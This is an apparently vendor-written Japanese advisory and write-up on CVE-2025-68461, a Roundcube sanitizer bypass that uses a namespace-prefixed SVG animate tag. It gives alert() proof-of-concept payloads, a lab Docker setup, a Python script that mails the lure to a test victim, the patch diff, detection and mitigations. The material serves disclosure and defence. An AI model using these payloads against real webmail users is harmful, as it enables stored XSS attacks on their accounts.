当社のAIエンジンNeutronが、UCバークレーのCyberGymベンチマークで96.75%のスコアを記録しました。 詳細を見る

セキュリティ

セキュリティ

CVE-2025-68461:RoundcubeにおけるSVG animateによるXSSサニタイザーバイパス

CVE-2025-68461(CVSS 7.2)は、名前空間プレフィックスを用いることでSVGのanimateタグをRoundcubeのサニタイザーに通してしまう脆弱性です。PoC、パッチ解析、Nucleiによる検出、緩和策を解説します。

CVE-2025-68461

Roundcube WebmailにおけるSVG animateのXSSサニタイザーバイパス - PoCとエクスプロイト

2025年12月17日 · CVSS 7.2 High · Roundcube < 1.5.12, < 1.6.12

CVE ID CVSS 影響を受けるバージョン 修正済みバージョン
CVE-2025-68461 7.2 High < 1.5.12, < 1.6.12 1.5.12+,1.6.12+

CVE-2025-68461の概要:SVG animateタグを介したXSS

Roundcube Webmailは広く導入されているオープンソースのWebメールクライアントで、cPanelにデフォルトでバンドルされており、世界中の大学、企業、政府機関で利用されています。

Roundcube独自のHTMLサニタイザー(rcube_washtml.php)がSVGの<animate>タグを処理する方法に、格納型クロスサイトスクリプティング(XSS)の脆弱性が発見されました。このサニタイザーは、HTMLメールをユーザーのブラウザーでレンダリングする前に、危険なコンテンツを取り除く役割を担っています。サニタイザーは、href属性を標的とする<animate>要素(SMILアニメーションを介してjavascript: URIを注入する既知のベクトル)を正しく識別してブロックします。しかし、このチェックはXMLの名前空間プレフィックスを考慮していません。攻撃者がattributeName="href"ではなくattributeName="xlink:href"を使うと、文字列比較が失敗し、<animate>タグ全体がサニタイザーをそのまま通過してしまい、values属性内のjavascript:ペイロードがブラウザーに届けられます。

XSSサニタイザーバイパス:名前空間プレフィックスによる回避

問題の核心は、サニタイザーのanimateタグをブロックするロジックにおける不完全な文字列比較です。サニタイザーはSVGのアニメーション要素に遭遇すると、それがhref属性を標的にしているかどうかを確認し、標的にしていればブロックします。このチェックは、attributeNameの値をリテラル文字列"href"と比較するヘルパー関数を使っています。この比較ではXMLの名前空間プレフィックスの除去や正規化が行われないため、"xlink:href"は"href"と一致せず、タグが通過してしまいます。

脆弱なコード

rcube_washtml.phpにおいて、dumpHtml()メソッドがアニメーション要素に対するゲートキーパーのロジックを含んでいます。

else if (in_array($tagName, ['animate', 'animatecolor', 'set', 'animatetransform'])
    && self::attribute_value($node, 'attributename', 'href')
) {
    $dump .= "<!-- {$tagName} blocked -->";
}

attribute_value()ヘルパーが比較を実行します。

private static function attribute_value($node, $attr_name, $attr_value)
{
    foreach ($node->attributes as $name => $attr) {
        if (strtolower($name) === $attr_name) {
            $val = strtolower(trim($attr->nodeValue));
            if ($attr_value === $val) {
                return true;
            }
        }
    }
    return false;
}

attributeName="xlink:href"の場合:

  • strtolower(trim("xlink:href"))は"xlink:href"を返します
  • "href" === "xlink:href"はfalseと評価されます
  • 関数はfalseを返し、<animate>タグ全体がjavascript:ペイロードをそのまま保持したまま通過します

さらに、wash_attribs()メソッドには、アニメーション要素のfrom属性とto属性に対する二次的な脆弱経路があります。

if ($key == 'to' || $key == 'from') {
    $key = strtolower($node->getAttribute('attributeName'));  // "xlink:href"
    if ($key && !isset($this->_html_attribs[$key])) {
        $key = null;  // "xlink:href" not in allowlist → skip dangerous-attribute check
    }
}

ここでは、"xlink:href"が_html_attribs許可リストに存在しないため、属性名がnullに設定され、危険な属性のサニタイズが完全にスキップされます。

サニタイザーの出力結果

HTMLメールに次のペイロードが含まれている場合:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="50">
  <a class="a">
    <animate attributeName="xlink:href" values="javascript:alert('CVE-2025-68461')" />
    <text x="10" y="30" fill="blue" font-size="14" style="text-decoration:underline;cursor:pointer">
      Click to view document
    </text>
  </a>
</svg>

サニタイザーは<animate>タグとそのjavascript:ペイロードを完全にそのまま出力します。比較のために挙げると、attributeName="href"を使った同じペイロードは正しくブロックされ、<!-- animate blocked -->に置き換えられます。

CVE-2025-68461の概念実証:サニタイザーバイパスの確認

脆弱性を検証するため、カスタマイズしたPoCを用いて、Roundcubeのサニタイザーが名前空間プレフィックス付きの属性を捕捉できないことを、ローカル環境で実証します。

ペイロードの配信

ペイロードは、SMTP経由で被害者のRoundcubeメールボックスへHTMLメールを送信することで配信されます。

テスト環境ではDockerを使用し、Roundcube 1.6.11とローカルメールサーバーとしてGreenMailを利用することで、外部のSMTP認証情報を不要にしています。

  • docker-compose.yml:
version: "3.8"
services:
  greenmail:
    image: greenmail/standalone:2.0.1
    ports:
      - "3025:3025"   # SMTP
      - "3143:3143"   # IMAP
    environment:
      - GREENMAIL_OPTS=-Dgreenmail.setup.test.all -Dgreenmail.users=victim:victim@lab.local

  roundcube:
    image: roundcube/roundcubemail:1.6.11-apache
    ports:
      - "8080:80"
    environment:
      - ROUNDCUBEMAIL_DEFAULT_HOST=greenmail
      - ROUNDCUBEMAIL_DEFAULT_PORT=3143
      - ROUNDCUBEMAIL_SMTP_SERVER=greenmail
      - ROUNDCUBEMAIL_SMTP_PORT=3025
    depends_on:
      - greenmail
  • ペイロードを送信するPythonスクリプト:
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

PAYLOAD = """\
<html><body>
<p>Please review the attached document:</p>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="50">
  <a class="a">
    <animate attributeName="xlink:href" values="javascript:alert('XSS-CVE-2025-68461')" />
    <text x="10" y="30" fill="blue" font-size="14"
          style="text-decoration:underline;cursor:pointer">Click to view document</text>
  </a>
</svg>
<p>Best regards,<br>Document System</p>
</body></html>"""

msg = MIMEMultipart("alternative")
msg["From"] = "attacker@lab.local"
msg["To"] = "victim@lab.local"
msg["Subject"] = "Document Review Request"
msg.attach(MIMEText("View in HTML mode.", "plain"))
msg.attach(MIMEText(PAYLOAD, "html"))

with smtplib.SMTP("127.0.0.1", 3025) as server:
    server.sendmail("attacker@lab.local", ["victim@lab.local"], msg.as_string())

DOMによる検証

2つの差分テストがバイパスを裏付けます。

テスト1 — attributeName="href"(ブロックされる):

サニタイザーは<animate>タグを正しく識別してブロックします。レンダリングされたDOMでは、ペイロードの代わりに<!-- animate blocked -->が表示されます。

  • ペイロード :
<svg xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="50">
  <a class="a">
    <animate attributeName="href" values="javascript:alert('CVE-2025-68461')" />
    <text x="10" y="30" fill="blue" font-size="14" style="text-decoration:underline;cursor:pointer">
      Click to view document
    </text>
  </a>
</svg>
  • 結果 :

テスト2 — attributeName="xlink:href"(バイパスされる):

完全なjavascript: URIを含む<animate>タグが、サニタイザーをまったく手つかずのまま通過します。

  • ペイロード :
<svg width="200" height="50">
  <a class="v1a">
    <animate attributeName="xlink:href" values="javascript:alert('XSS-CVE-2025-68461')"></animate>
    <text x="10" y="30" fill="blue" font-size="14"
          style="text-decoration: underline; cursor: pointer">Click to view document</text>
  </a>
</svg>
  • 結果 :

JavaScriptが実行されない理由

dumpHtml()による名前空間の除去

RoundcubeのdumpHtml()メソッドは、SVG要素をシリアライズする際に名前空間宣言を再付与しようとします。これはセキュリティ対策ではありません。PHPのDOMDocument::loadHTML()がXMLの名前空間を理解せず、パース中に破棄してしまうために存在する処理です。このメソッドはDOMに残存している名前空間を問い合わせ、それらを再付与します。

if ($tagName == 'svg') {
    $xpath = new DOMXPath($node->ownerDocument);
    foreach ($xpath->query('namespace::*') as $ns) {
        if ($ns->nodeName != 'xmlns:xml') {
            $tag .= sprintf(' %s="%s"',
                $ns->nodeName,
                htmlspecialchars($ns->nodeValue, ENT_QUOTES, $this->config['charset'])
            );
        }
    }
}

問題は、このコードが実行される前に、loadHTML()がすでにxmlns:xlink="http://www.w3.org/1999/xlink"宣言を破棄してしまっていることです。XPathクエリは残存する名前空間を一つも見つけられないため、<svg>タグは名前空間属性がまったくない状態で出力されます。attributeNameの_値_である"xlink:href"は、名前空間宣言ではなく属性値の中の文字列であるため、そのまま通過します。しかしブラウザーには、それを解決するためのxlink名前空間が存在しません。SMILエンジンはxlink:hrefをアニメーション可能なプロパティに対応付けられないため、animValは空のままとなり、javascript: URIは適用されることがありません。

ブラウザーにおけるxlink:hrefの非推奨化

xlink:href属性はSVG 2で非推奨となっています。SVG 2ではxlink名前空間の必要性が完全になくなり、代わりにhrefを使うべきとされています。最新のブラウザーは後方互換性のためにxlink:hrefを引き続きサポートしていますが、それはxlink名前空間が適切に宣言されている場合に限られます。Roundcubeの処理パイプラインはこの名前空間宣言を取り除いてしまうため、ブラウザーはxlink:hrefをアニメーション可能なプロパティとして解決できず、アニメーションは何も起きずに失敗します。

確認

これは、正しい名前空間宣言を強制するようサーバー上でdumpHtml()にパッチを当てることで確認されました。

if ($tagName == 'svg') {
    $tag .= 'xmlns:xlink="http://www.w3.org/1999/xlink"';
}

このパッチを当てた状態でリンクをクリックすると、Roundcube内でalert()が正常にトリガーされました。パッチを元に戻すと、動作しない状態に戻りました。

CVE-2025-68461の修正

以下では、RoundcubeがXMLの名前空間を正規化することで重大な属性フィルターバイパスをどのようにパッチしたかをまとめ、続いて、バージョン文字列の抽出を通じてNucleiで脆弱なサーバーを大規模に検出する方法を解説します。

修正済みコードの解析

この修正では、比較の前に名前空間プレフィックスを取り除くステップが追加されています。

// BEFORE (vulnerable): raw string comparison
$val = strtolower(trim($attr->nodeValue));
if ($attr_value === $val) {
    return true;
}

// AFTER (fixed): strip namespace prefix before comparison : xlink:href => href
$val = strtolower(trim($attr->nodeValue));
$val = trim(preg_replace('/^.*:/', '', strtolower($attr->nodeValue)));
if ($attr_value === $val) {
    return true;
}

これにより、比較の前に"xlink:href"が"href"になり、<animate>タグが正しくブロックされます。

Nucleiによる検出

脆弱なRoundcubeインスタンスを大規模に特定するためのNucleiテンプレートが用意されています。このテンプレートは、ログインページのJavaScriptからrcversion整数を抽出し、影響を受けるバージョン範囲と比較します。

このテンプレートは、1.5.12未満または1.6.12未満のバージョンで動作しているすべてのRoundcubeインスタンスに一致します。認証は不要です。バージョンはログインページで公開されています。

CVE-2025-68461の緩和策とベストプラクティス

  • 今すぐ更新する:ただちにRoundcube 1.6.12または1.5.12にアップグレードしてください。これらのバージョンにはCVE-2025-68461の修正が含まれています。
  • コンテンツセキュリティポリシー:javascript: URIとインラインスクリプトの実行を禁止する厳格なCSPヘッダーを導入し、XSSに対する多層防御を実現してください。
  • ネットワークの露出:可能な場合は、Webメールインターフェースへのパブリックアクセスを制限してください。RoundcubeインスタンスはAPTグループにとって価値の高い標的です。
  • 悪用の監視:SVGの<animate>要素を含むメール、特にattributeName属性にxlink:hrefが含まれるものに注意してください。

参考文献

リソース リンク
Roundcubeセキュリティアドバイザリ(1.6.12 / 1.5.12) https://roundcube.net/news/2025/12/13/security-updates-1.6.12-and-1.5.12
修正コミット bfa032631c https://github.com/roundcube/roundcubemail/commit/bfa032631c36b900e7444dfa278340b33cbf7cdb
NVD CVE-2025-68461 https://nvd.nist.gov/vuln/detail/CVE-2025-68461
CWE-79: Webページ生成時における入力の不適切な無害化 https://cwe.mitre.org/data/definitions/79.html
Nucleiテンプレート https://github.com/Ostorlab/KEV/blob/main/nuclei/CVE-2025-68461.yaml